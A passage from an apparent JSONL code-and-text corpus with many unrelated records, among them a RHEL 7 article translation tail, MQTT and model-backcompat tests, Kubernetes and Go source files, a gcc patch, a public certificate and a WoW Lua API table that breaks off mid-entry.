6已经有符合特殊应用场景的调整RHEL的配置文件。RHEL 7不仅默认有一个新的性能最大化的配置文件,而且包含另一个新的平衡性能表现和能源消耗的配置文件。\n\n-------------------------------------------------------------------------------\n\nvia:http://www.infoworld.com/t/linux/keep-eye-these-5-new-features-in-rhel-7-244023 \n\n译者:[love\\_daisy\\_love](https://github.com/CNprober) 校对:[wxy](https://github.com/wxy)\n\n本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出\n\n[1]:http://www.infoworld.com/t/linux/red-hat-enterprise-linux-7-beta-now-available-232520\n[2]:http://www.infoworld.com/t/application-virtualization/red-hat-fast-tracks-docker-apps-enterprise-linux-238122\n[3]:http://www.infoworld.com/t/application-virtualization/docker-unleashed-app-portability-gets-boost-231716\n[4]:http://www.infoworld.com/d/application-development/review-docker-10-ready-prime-time-243935\n[5]:http://www.projectatomic.io/\n[6]:https://www.suse.com/products/server/technical-information/\n[7]:https://www.suse.com/products/server/technical-information/\n[8]:http://developerblog.redhat.com/2013/11/19/exploratory-performance-pcp/\n[9]:http://oss.sgi.com/projects/pcp/index.html"} +{"text": "# ---------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# ---------------------------------------------------------\n\n\"\"\"Tests loading older models for backwards compatibility\"\"\"\n\nimport json\nfrom os import path\nimport pandas as pd\nimport numpy as np\nfrom datasets import retrieve_dataset\n\n\ndef test_model_backcompat_global(mimic_explainer):\n class DummyModel:\n def predict(self):\n return\n\n def predict_proba(self):\n return\n\n dummy_model = DummyModel()\n model_file = 'old_mimic_model.json'\n if not path.exists(model_file):\n model_file = path.join('test', model_file)\n with open(model_file, 'r') as file:\n data = file.read()\n properties = json.loads(data)\n explainer = mimic_explainer._load(dummy_model, properties)\n # Use the surrogate model as the original model\n explainer.model = explainer.surrogate_model\n global_explanation = explainer.explain_global()\n assert len(global_explanation.global_importance_values) == explainer.surrogate_model.model._n_features\n\n\ndef test_model_backcompat_local(mimic_explainer):\n class DummyModel:\n def predict(self, X):\n return X['TotalBalance']\n\n dummy_model = DummyModel()\n model_file = 'old_mimic_model2.json'\n if not path.exists(model_file):\n model_file = path.join('test', model_file)\n with open(model_file, 'r') as file:\n data = file.read()\n properties = json.loads(data)\n explainer = mimic_explainer._load(dummy_model, properties)\n eval_data = retrieve_dataset('backcompat_data.csv')\n df = pd.DataFrame(np.random.randint(0, eval_data.shape[0], size=(eval_data.shape[0], 674 - 5)))\n eval_data = eval_data[eval_data.columns[-5:]]\n eval_data = pd.concat([df, eval_data], axis=1)\n local_explanation = explainer.explain_local(eval_data)\n assert local_explanation._local_importance_values.shape[1] == explainer.surrogate_model.model._n_features\n global_explanation = explainer.explain_global(eval_data)\n assert len(global_explanation.global_importance_values) == explainer.surrogate_model.model._n_features\n"} +{"text": "# Electron\n\n## Dev mode\n\n\telectron .\n\nUses index.js, which has fake AWS credentials that you can change in index.js.\n\n## Build/publish mode\n\nUse the gui/package.json scripts; it will replace index.js with index.prod.js, which will use real AWS credentials."} +{"text": "#!/usr/bin/env python3\n\n# Test whether a client responds correctly to a PUBLISH with QoS 1.\n\n# The client should connect to port 1888 with keepalive=60, clean session set,\n# and client id publish-qos2-test\n# The test will send a CONNACK message to the client with rc=0. Upon receiving\n# the CONNACK the client should verify that rc==0.\n# The test will send the client a PUBLISH message with topic\n# \"pub/qos2/receive\", payload of \"message\", QoS=2 and mid=13423. The client\n# should handle this as per the spec by sending a PUBREC message.\n# The test will not respond to the first PUBREC message, so the client must\n# resend the PUBREC message with dup=1. Note that to keep test durations low, a\n# message retry timeout of less than 10 seconds is required for this test.\n# On receiving the second PUBREC with dup==1, the test will send the correct\n# PUBREL message. The client should respond to this with the correct PUBCOMP\n# message and then exit with return code=0.\n\nfrom mosq_test_helper import *\n\nport = mosq_test.get_lib_port()\n\nrc = 1\nkeepalive = 60\nconnect_packet = mosq_test.gen_connect(\"publish-qos2-test\", keepalive=keepalive)\nconnack_packet = mosq_test.gen_connack(rc=0)\n\ndisconnect_packet = mosq_test.gen_disconnect()\n\nmid = 13423\npublish_packet = mosq_test.gen_publish(\"pub/qos2/receive\", qos=2, mid=mid, payload=\"message\")\npubrec_packet = mosq_test.gen_pubrec(mid)\npubrel_packet = mosq_test.gen_pubrel(mid)\npubcomp_packet = mosq_test.gen_pubcomp(mid)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\nsock.settimeout(10)\nsock.bind(('', port))\nsock.listen(5)\n\nclient_args = sys.argv[1:]\nenv = dict(os.environ)\nenv['LD_LIBRARY_PATH'] = '../../lib:../../lib/cpp'\ntry:\n pp = env['PYTHONPATH']\nexcept KeyError:\n pp = ''\nenv['PYTHONPATH'] = '../../lib/python:'+pp\nclient = mosq_test.start_client(filename=sys.argv[1].replace('/', '-'), cmd=client_args, env=env, port=port)\n\ntry:\n (conn, address) = sock.accept()\n conn.settimeout(10)\n\n if mosq_test.expect_packet(conn, \"connect\", connect_packet):\n conn.send(connack_packet)\n conn.send(publish_packet)\n\n if mosq_test.expect_packet(conn, \"pubrec\", pubrec_packet):\n conn.send(pubrel_packet)\n\n if mosq_test.expect_packet(conn, \"pubcomp\", pubcomp_packet):\n rc = 0\n\n conn.close()\nfinally:\n for i in range(0, 5):\n if client.returncode != None:\n break\n time.sleep(0.1)\n\n try:\n client.terminate()\n except OSError:\n pass\n\n client.wait()\n sock.close()\n if client.returncode != 0:\n exit(1)\n\nexit(rc)\n"} +{"text": "package cn.iocoder.springcloud.labx15.adminserver;\n\nimport de.codecentric.boot.admin.server.config.EnableAdminServer;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\n@EnableAdminServer\npublic class AdminServerApplication {\n\n public static void main(String[] args) {\n SpringApplication.run(AdminServerApplication.class, args);\n }\n\n}\n"} +{"text": "/* -*- c++ -*- ----------------------------------------------------------\n LAMMPS - Large-scale Atomic/Molecular Massively Parallel Simulator\n http://lammps.sandia.gov, Sandia National Laboratories\n Steve Plimpton, sjplimp@sandia.gov\n\n Copyright (2003) Sandia Corporation. Under the terms of Contract\n DE-AC04-94AL85000 with Sandia Corporation, the U.S. Government retains\n certain rights in this software. This software is distributed under\n the GNU General Public License.\n\n See the README file in the top-level LAMMPS directory.\n------------------------------------------------------------------------- */\n\n#ifdef PAIR_CLASS\n\nPairStyle(oxdna/coaxstk,PairOxdnaCoaxstk)\nPairStyle(oxrna2/coaxstk,PairOxdnaCoaxstk)\n\n#else\n\n#ifndef LMP_PAIR_OXDNA_COAXSTK_H\n#define LMP_PAIR_OXDNA_COAXSTK_H\n\n#include \"pair.h\"\n\nnamespace LAMMPS_NS {\n\nclass PairOxdnaCoaxstk : public Pair {\n public:\n PairOxdnaCoaxstk(class LAMMPS *);\n virtual ~PairOxdnaCoaxstk();\n virtual void compute(int, int);\n void settings(int, char **);\n void coeff(int, char **);\n void init_list(int, class NeighList *);\n double init_one(int, int);\n void write_restart(FILE *);\n void read_restart(FILE *);\n void write_restart_settings(FILE *);\n void read_restart_settings(FILE *);\n void write_data(FILE *);\n void write_data_all(FILE *);\n void *extract(const char *, int &);\n\n protected:\n // coaxial stacking interaction\n double **k_cxst, **cut_cxst_0, **cut_cxst_c, **cut_cxst_lo, **cut_cxst_hi;\n double **cut_cxst_lc, **cut_cxst_hc, **b_cxst_lo, **b_cxst_hi;\n double **cutsq_cxst_hc;\n\n double **a_cxst1, **theta_cxst1_0, **dtheta_cxst1_ast;\n double **b_cxst1, **dtheta_cxst1_c;\n\n double **a_cxst4, **theta_cxst4_0, **dtheta_cxst4_ast;\n double **b_cxst4, **dtheta_cxst4_c;\n\n double **a_cxst5, **theta_cxst5_0, **dtheta_cxst5_ast;\n double **b_cxst5, **dtheta_cxst5_c;\n\n double **a_cxst6, **theta_cxst6_0, **dtheta_cxst6_ast;\n double **b_cxst6, **dtheta_cxst6_c;\n\n double **a_cxst3p, **cosphi_cxst3p_ast, **b_cxst3p, **cosphi_cxst3p_c;\n double **a_cxst4p, **cosphi_cxst4p_ast, **b_cxst4p, **cosphi_cxst4p_c;\n\n virtual void allocate();\n};\n\n}\n\n#endif\n#endif\n\n/* ERROR/WARNING messages:\n\nE: Illegal ... command\n\nSelf-explanatory. Check the input script syntax and compare to the\ndocumentation for the command. You can use -echo screen as a\ncommand-line option when running LAMMPS to see the offending line.\n\nE: Incorrect args for pair coefficients\n\nSelf-explanatory. Check the input script or data file.\n\n*/\n"} +{"text": "\n\n \n\n"} +{"text": "// Copyright © 2015 The CefSharp Authors. All rights reserved.\n//\n// Use of this source code is governed by a BSD-style license that can be found in the LICENSE file.\n\nnamespace CefSharp.Internals\n{\n public static class CefSharpArguments\n {\n public const string WcfEnabledArgument = \"--wcf-enabled\";\n public const string HostProcessIdArgument = \"--host-process-id\";\n public const string CustomSchemeArgument = \"--custom-scheme\";\n public const string FocusedNodeChangedEnabledArgument = \"--focused-node-enabled\";\n public const string SubProcessTypeArgument = \"--type\";\n public const string ExitIfParentProcessClosed = \"--cefsharpexitsub\";\n }\n}\n"} +{"text": "// Copyright 2011 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\npackage norm\n\nimport \"unicode/utf8\"\n\ntype input struct {\n\tstr string\n\tbytes []byte\n}\n\nfunc inputBytes(str []byte) input {\n\treturn input{bytes: str}\n}\n\nfunc inputString(str string) input {\n\treturn input{str: str}\n}\n\nfunc (in *input) setBytes(str []byte) {\n\tin.str = \"\"\n\tin.bytes = str\n}\n\nfunc (in *input) setString(str string) {\n\tin.str = str\n\tin.bytes = nil\n}\n\nfunc (in *input) _byte(p int) byte {\n\tif in.bytes == nil {\n\t\treturn in.str[p]\n\t}\n\treturn in.bytes[p]\n}\n\nfunc (in *input) skipASCII(p, max int) int {\n\tif in.bytes == nil {\n\t\tfor ; p < max && in.str[p] < utf8.RuneSelf; p++ {\n\t\t}\n\t} else {\n\t\tfor ; p < max && in.bytes[p] < utf8.RuneSelf; p++ {\n\t\t}\n\t}\n\treturn p\n}\n\nfunc (in *input) skipContinuationBytes(p int) int {\n\tif in.bytes == nil {\n\t\tfor ; p < len(in.str) && !utf8.RuneStart(in.str[p]); p++ {\n\t\t}\n\t} else {\n\t\tfor ; p < len(in.bytes) && !utf8.RuneStart(in.bytes[p]); p++ {\n\t\t}\n\t}\n\treturn p\n}\n\nfunc (in *input) appendSlice(buf []byte, b, e int) []byte {\n\tif in.bytes != nil {\n\t\treturn append(buf, in.bytes[b:e]...)\n\t}\n\tfor i := b; i < e; i++ {\n\t\tbuf = append(buf, in.str[i])\n\t}\n\treturn buf\n}\n\nfunc (in *input) copySlice(buf []byte, b, e int) int {\n\tif in.bytes == nil {\n\t\treturn copy(buf, in.str[b:e])\n\t}\n\treturn copy(buf, in.bytes[b:e])\n}\n\nfunc (in *input) charinfoNFC(p int) (uint16, int) {\n\tif in.bytes == nil {\n\t\treturn nfcData.lookupString(in.str[p:])\n\t}\n\treturn nfcData.lookup(in.bytes[p:])\n}\n\nfunc (in *input) charinfoNFKC(p int) (uint16, int) {\n\tif in.bytes == nil {\n\t\treturn nfkcData.lookupString(in.str[p:])\n\t}\n\treturn nfkcData.lookup(in.bytes[p:])\n}\n\nfunc (in *input) hangul(p int) (r rune) {\n\tvar size int\n\tif in.bytes == nil {\n\t\tif !isHangulString(in.str[p:]) {\n\t\t\treturn 0\n\t\t}\n\t\tr, size = utf8.DecodeRuneInString(in.str[p:])\n\t} else {\n\t\tif !isHangul(in.bytes[p:]) {\n\t\t\treturn 0\n\t\t}\n\t\tr, size = utf8.DecodeRune(in.bytes[p:])\n\t}\n\tif size != hangulUTF8Size {\n\t\treturn 0\n\t}\n\treturn r\n}\n"} +{"text": "eclipse.preferences.version=1\r\nencoding//src/main/java=UTF-8\r\nencoding//src/main/resources=UTF-8\r\nencoding//src/test/java=UTF-8\r\nencoding//src/test/resources=UTF-8\r\nencoding/=UTF-8\r\n"} +{"text": "\n OpenBabel03071020532D\n\n 8 8 0 0 0 0 0 0 0 0999 V2000\n -5.0000 -1.5750 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -4.0000 -1.5742 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -3.9992 -2.5742 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -4.9992 -2.5750 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -3.2935 -0.8665 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -5.7077 -0.8685 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -5.7057 -3.2827 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n -3.2915 -3.2807 0.0000 C 0 0 0 0 0 0 0 0 0 0 0 0\n 1 2 1 0 0 0 0\n 1 6 1 1 0 0 0\n 2 3 1 0 0 0 0\n 2 5 1 6 0 0 0\n 3 4 1 0 0 0 0\n 3 8 1 1 0 0 0\n 4 1 1 0 0 0 0\n 4 7 1 1 0 0 0\nM END\n"} +{"text": "Fragen und Antworten • Re: HTTPS via Proxy will nicht\n=====================================================\n\nDate: 2013-01-22 22:01:56\n\nUnd es gibt redundante Seiten:\\\n[http://www.yacy-websearch.net/wiki/inde \\...\nfoxMozilla](http://www.yacy-websearch.net/wiki/index.php/De:IntegrationFirefoxMozilla){.postlink}\\\n[http://www.yacy-websearch.net/wiki/inde \\...\nntegration](http://www.yacy-websearch.net/wiki/index.php/De:BrowserIntegration){.postlink}\\\nleider funktioniert das Werkzeug \\\"Links auf diese Seite\\\" im WIki\nnicht.\n\nStatistik: Verfasst von\n[Lotus](http://forum.yacy-websuche.de/memberlist.php?mode=viewprofile&u=68)\n--- Di Jan 22, 2013 10:01 pm\n\n------------------------------------------------------------------------\n"} +{"text": "/*!\n * ws: a node.js websocket client\n * Copyright(c) 2011 Einar Otto Stangvik \n * MIT Licensed\n */\n\n'use strict';\n\nconst WebSocket = require('./lib/WebSocket');\n\nWebSocket.Server = require('./lib/WebSocketServer');\nWebSocket.Receiver = require('./lib/Receiver');\nWebSocket.Sender = require('./lib/Sender');\n\nmodule.exports = WebSocket;\n"} +{"text": "#queryCnt\tminQSize\tmaxQSize\tmeanQSize\talnCnt\tminIdent\tmaxIndent\tmeanIdent\tminQCover\tmaxQCover\tmeanQCover\tminRepMatch\tmaxRepMatch\tmeanRepMatch\tminTCover\tmaxTCover\taligned\taligned1\talignedN\n12\t664\t7260\t2509\t31\t0.9013\t0.9990\t0.9724\t0.0048\t0.9956\t0.0125\t0.0000\t0.9762\t0.2881\t0.0000\t0.0001\t12\t9\t3\n"} +{"text": "\n\n\n\n\tSchemeUserState\n\t\n\t\tBlue Screen Saver.xcscheme\n\t\t\n\t\t\torderHint\n\t\t\t0\n\t\t\n\t\n\tSuppressBuildableAutocreation\n\t\n\t\t8D255AC50486D3F9007BF209\n\t\t\n\t\t\tprimary\n\t\t\t\n\t\t\n\t\n\n\n"} +{"text": "-----BEGIN CERTIFICATE-----\nMIIDhTCCAm2gAwIBAgIJAP2EcMN2UXPcMA0GCSqGSIb3DQEBCwUAMFcxCzAJBgNV\nBAYTAlVTMQswCQYDVQQIEwJDQTEVMBMGA1UEBxMMU2FuRnJhbmNpc2NvMQ8wDQYD\nVQQKEwZEb2NrZXIxEzARBgNVBAMTCmRlbGVnYXRpb24wHhcNMTYwOTI4MTc0ODQ4\nWhcNMjYwNjI4MTc0ODQ4WjBXMQswCQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExFTAT\nBgNVBAcTDFNhbkZyYW5jaXNjbzEPMA0GA1UEChMGRG9ja2VyMRMwEQYDVQQDEwpk\nZWxlZ2F0aW9uMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvgewhaYs\nKe5s2AM7xxKrT4A6n7hW17qSnBjonCcPcwTFmYqIOdxWjYITgJuHrTwB4ZhBqWS7\ntTsUUu6hWLMeB7Uo5/GEQAAZspKkT9G/rNKF9lbWK9PPhGGkeR01c/Q932m92Hsn\nfCQ0Pp/OzD3nVTh0v9HKk+PObNMOCcqG87eYs4ylPRxs0RrE/rP+bEGssKQSbeCZ\nwazDnO+kiatVgKQZ2CK23iFdRE1z2rzqVDeaFWdvBqrRdWnkOZClhlLgEQ5nK2yV\nB6tSqOiI3MmHyHzIkGOQJp2/s7Pe0ckEkzsjTsJW8oKHlBBl6pRxHIKzNN4VFbeB\nvvYvrogrDrC/owIDAQABo1QwUjAMBgNVHRMBAf8EAjAAMA4GA1UdDwEB/wQEAwIF\noDATBgNVHSUEDDAKBggrBgEFBQcDAzAdBgNVHQ4EFgQUFoHfukRa6qGk1ncON64Z\nASKlZdkwDQYJKoZIhvcNAQELBQADggEBAEq9Adpd03CPmpbRtTAJGAkjjLFr60sV\n2r+/l/m9R31ZCN9ymM9nxToQ8zfMdeAh/nnPcErziil2gDVqXueCNDkRj09tmDIE\nQ1Oc92uyNZNgcECow77cKZCTZSTku+qsJrYaykH5vSnia8ltcKj8inJedIcpBR+p\n608HEQvF0Eg5eaLPJwH48BCb0Gqdri1dJgrNnqptz7MDr8M+u7tHVulbAd3YxLlq\nJH1W2bkVUx6esbn/MUE5HL5iTuOYREEINvBSmLdmmFkampmCnCB/bDEyJeL9bAkt\nZPIi0UNSnqFKLSP1Vf8AGLXt6iO7+1OGvtsDXEEYdXVOMsSXZtUuT7A=\n-----END CERTIFICATE-----\n"} +{"text": "/*\nCopyright 2018 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by informer-gen. DO NOT EDIT.\n\npackage v1beta1\n\nimport (\n\ttime \"time\"\n\n\tadmissionregistration_v1beta1 \"k8s.io/api/admissionregistration/v1beta1\"\n\tv1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\truntime \"k8s.io/apimachinery/pkg/runtime\"\n\twatch \"k8s.io/apimachinery/pkg/watch\"\n\tinternalinterfaces \"k8s.io/client-go/informers/internalinterfaces\"\n\tkubernetes \"k8s.io/client-go/kubernetes\"\n\tv1beta1 \"k8s.io/client-go/listers/admissionregistration/v1beta1\"\n\tcache \"k8s.io/client-go/tools/cache\"\n)\n\n// MutatingWebhookConfigurationInformer provides access to a shared informer and lister for\n// MutatingWebhookConfigurations.\ntype MutatingWebhookConfigurationInformer interface {\n\tInformer() cache.SharedIndexInformer\n\tLister() v1beta1.MutatingWebhookConfigurationLister\n}\n\ntype mutatingWebhookConfigurationInformer struct {\n\tfactory internalinterfaces.SharedInformerFactory\n\ttweakListOptions internalinterfaces.TweakListOptionsFunc\n}\n\n// NewMutatingWebhookConfigurationInformer constructs a new informer for MutatingWebhookConfiguration type.\n// Always prefer using an informer factory to get a shared informer instead of getting an independent\n// one. This reduces memory footprint and number of connections to the server.\nfunc NewMutatingWebhookConfigurationInformer(client kubernetes.Interface, resyncPeriod time.Duration, indexers cache.Indexers) cache.SharedIndexInformer {\n\treturn NewFilteredMutatingWebhookConfigurationInformer(client, resyncPeriod, indexers, nil)\n}\n\n// NewFilteredMutatingWebhookConfigurationInformer constructs a new informer for MutatingWebhookConfiguration type.\n// Always prefer using an informer factory to get a shared informer instead of getting an independent\n// one. This reduces memory footprint and number of connections to the server.\nfunc NewFilteredMutatingWebhookConfigurationInformer(client kubernetes.Interface, resyncPeriod time.Duration, indexers cache.Indexers, tweakListOptions internalinterfaces.TweakListOptionsFunc) cache.SharedIndexInformer {\n\treturn cache.NewSharedIndexInformer(\n\t\t&cache.ListWatch{\n\t\t\tListFunc: func(options v1.ListOptions) (runtime.Object, error) {\n\t\t\t\tif tweakListOptions != nil {\n\t\t\t\t\ttweakListOptions(&options)\n\t\t\t\t}\n\t\t\t\treturn client.AdmissionregistrationV1beta1().MutatingWebhookConfigurations().List(options)\n\t\t\t},\n\t\t\tWatchFunc: func(options v1.ListOptions) (watch.Interface, error) {\n\t\t\t\tif tweakListOptions != nil {\n\t\t\t\t\ttweakListOptions(&options)\n\t\t\t\t}\n\t\t\t\treturn client.AdmissionregistrationV1beta1().MutatingWebhookConfigurations().Watch(options)\n\t\t\t},\n\t\t},\n\t\t&admissionregistration_v1beta1.MutatingWebhookConfiguration{},\n\t\tresyncPeriod,\n\t\tindexers,\n\t)\n}\n\nfunc (f *mutatingWebhookConfigurationInformer) defaultInformer(client kubernetes.Interface, resyncPeriod time.Duration) cache.SharedIndexInformer {\n\treturn NewFilteredMutatingWebhookConfigurationInformer(client, resyncPeriod, cache.Indexers{cache.NamespaceIndex: cache.MetaNamespaceIndexFunc}, f.tweakListOptions)\n}\n\nfunc (f *mutatingWebhookConfigurationInformer) Informer() cache.SharedIndexInformer {\n\treturn f.factory.InformerFor(&admissionregistration_v1beta1.MutatingWebhookConfiguration{}, f.defaultInformer)\n}\n\nfunc (f *mutatingWebhookConfigurationInformer) Lister() v1beta1.MutatingWebhookConfigurationLister {\n\treturn v1beta1.NewMutatingWebhookConfigurationLister(f.Informer().GetIndexer())\n}\n"} +{"text": "!IF 0\nSources file for building hexedit.lib & he.exe\n\nAuthor: kenr\n!ENDIF\n\nMAJORCOMP=sdktools\nMINORCOMP=he\n\nTARGETNAME=test\nTARGETPATH=obj\nTARGETTYPE=LIBRARY\n\nINCLUDES=.\n\nSOURCES=\n\ni386_SOURCES=i386\\test.c \\\n i386\\testa.asm\n\nUMTYPE=console\nUMAPPL=test\nUMLIBS=\\nt\\public\\sdk\\lib\\*\\libcmt.lib \\nt\\public\\sdk\\lib\\*\\ntdll.lib obj\\*\\test.lib\n"} +{"text": "/*\nCopyright 2017 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1\n\nimport \"fmt\"\n\n// MatchTaint checks if the taint matches taintToMatch. Taints are unique by key:effect,\n// if the two taints have same key:effect, regard as they match.\nfunc (t *Taint) MatchTaint(taintToMatch *Taint) bool {\n\treturn t.Key == taintToMatch.Key && t.Effect == taintToMatch.Effect\n}\n\n// taint.ToString() converts taint struct to string in format key=value:effect or key:effect.\nfunc (t *Taint) ToString() string {\n\tif len(t.Value) == 0 {\n\t\treturn fmt.Sprintf(\"%v:%v\", t.Key, t.Effect)\n\t}\n\treturn fmt.Sprintf(\"%v=%v:%v\", t.Key, t.Value, t.Effect)\n}\n"} +{"text": "From 1fd7f54f3aaf134a21dc5bd6b406b5506880cbd3 Mon Sep 17 00:00:00 2001\nFrom: Ishimoto Shinobu \nDate: Thu, 7 May 2020 17:15:31 +0300\nSubject: [PATCH 01/11] Use musl's libssp_nonshared.a\n\nSigned-off-by: Ishimoto Shinobu \n---\n gcc/gcc.c | 3 ++-\n 1 file changed, 2 insertions(+), 1 deletion(-)\n\ndiff --git a/gcc/gcc.c b/gcc/gcc.c\nindex 9f790db0d..e6887590a 100644\n--- a/gcc/gcc.c\n+++ b/gcc/gcc.c\n@@ -877,7 +877,8 @@ proper position among the other output files. */\n #ifndef LINK_SSP_SPEC\n #ifdef TARGET_LIBC_PROVIDES_SSP\n #define LINK_SSP_SPEC \"%{fstack-protector|fstack-protector-all\" \\\n-\t\t \"|fstack-protector-strong|fstack-protector-explicit:}\"\n+\t\t \"|fstack-protector-strong|fstack-protector-explicit\" \\\n+\t\t \":-lssp_nonshared}\"\n #else\n #define LINK_SSP_SPEC \"%{fstack-protector|fstack-protector-all\" \\\n \t\t \"|fstack-protector-strong|fstack-protector-explicit\" \\\n-- \n2.26.2\n\n"} +{"text": "local LFGListInfo =\n{\n\tName = \"LFGList\",\n\tType = \"System\",\n\tNamespace = \"C_LFGList\",\n\n\tFunctions =\n\t{\n\t\t{\n\t\t\tName = \"CanActiveEntryUseAutoAccept\",\n\t\t\tType = \"Function\",\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"canUseAutoAccept\", Type = \"bool\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"CanCreateQuestGroup\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"questID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"canCreate\", Type = \"bool\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"ClearApplicationTextFields\",\n\t\t\tType = \"Function\",\n\t\t},\n\t\t{\n\t\t\tName = \"ClearCreationTextFields\",\n\t\t\tType = \"Function\",\n\t\t},\n\t\t{\n\t\t\tName = \"ClearSearchTextFields\",\n\t\t\tType = \"Function\",\n\t\t},\n\t\t{\n\t\t\tName = \"CopyActiveEntryInfoToCreationFields\",\n\t\t\tType = \"Function\",\n\t\t},\n\t\t{\n\t\t\tName = \"GetActiveEntryInfo\",\n\t\t\tType = \"Function\",\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"entryData\", Type = \"LfgEntryData\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"GetApplicantInfo\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"applicantID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"applicantData\", Type = \"LfgApplicantData\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"GetSearchResultInfo\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultData\", Type = \"LfgSearchResultData\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"HasActiveEntryInfo\",\n\t\t\tType = \"Function\",\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"hasActiveEntryInfo\", Type = \"bool\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"HasSearchResultInfo\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"searchResultID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\n\t\t\tReturns =\n\t\t\t{\n\t\t\t\t{ Name = \"hasSearchResultInfo\", Type = \"bool\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"Search\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"categoryID\", Type = \"number\", Nilable = false },\n\t\t\t\t{ Name = \"filter\", Type = \"number\", Nilable = false, Default = 0 },\n\t\t\t\t{ Name = \"preferredFilters\", Type = \"number\", Nilable = false, Default = 0 },\n\t\t\t\t{ Name = \"languageFilter\", Type = \"WowLocale\", Nilable = true },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"SetSearchToActivity\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"activityID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"SetSearchToQuestID\",\n\t\t\tType = \"Function\",\n\n\t\t\tArguments =\n\t\t\t{\n\t\t\t\t{ Name = \"questID\", Type = \"number\", Nilable = false },\n\t\t\t},\n\t\t},\n\t},\n\n\tEvents =\n\t{\n\t\t{\n\t\t\tName = \"LfgGroupDelistedLeadershipChange\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_GROUP_DELISTED_LEADERSHIP_CHANGE\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"listingName\", Type = \"string\", Nilable = false },\n\t\t\t\t{ Name = \"automaticDelistTimeRemaining\", Type = \"number\", Nilable = false },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListActiveEntryUpdate\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_ACTIVE_ENTRY_UPDATE\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"created\", Type = \"bool\", Nilable = true },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListApplicantListUpdated\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_APPLICANT_LIST_UPDATED\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"newPendingEntry\", Type = \"bool\", Nilable = true },\n\t\t\t\t{ Name = \"newPendingEntryWithData\", Type = \"bool\", Nilable = true },\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName = \"LfgListApplicantUpdated\",\n\t\t\tType = \"Event\",\n\t\t\tLiteralName = \"LFG_LIST_APPLICANT_UPDATED\",\n\t\t\tPayload =\n\t\t\t{\n\t\t\t\t{ Name = \"applicantID\", Type = 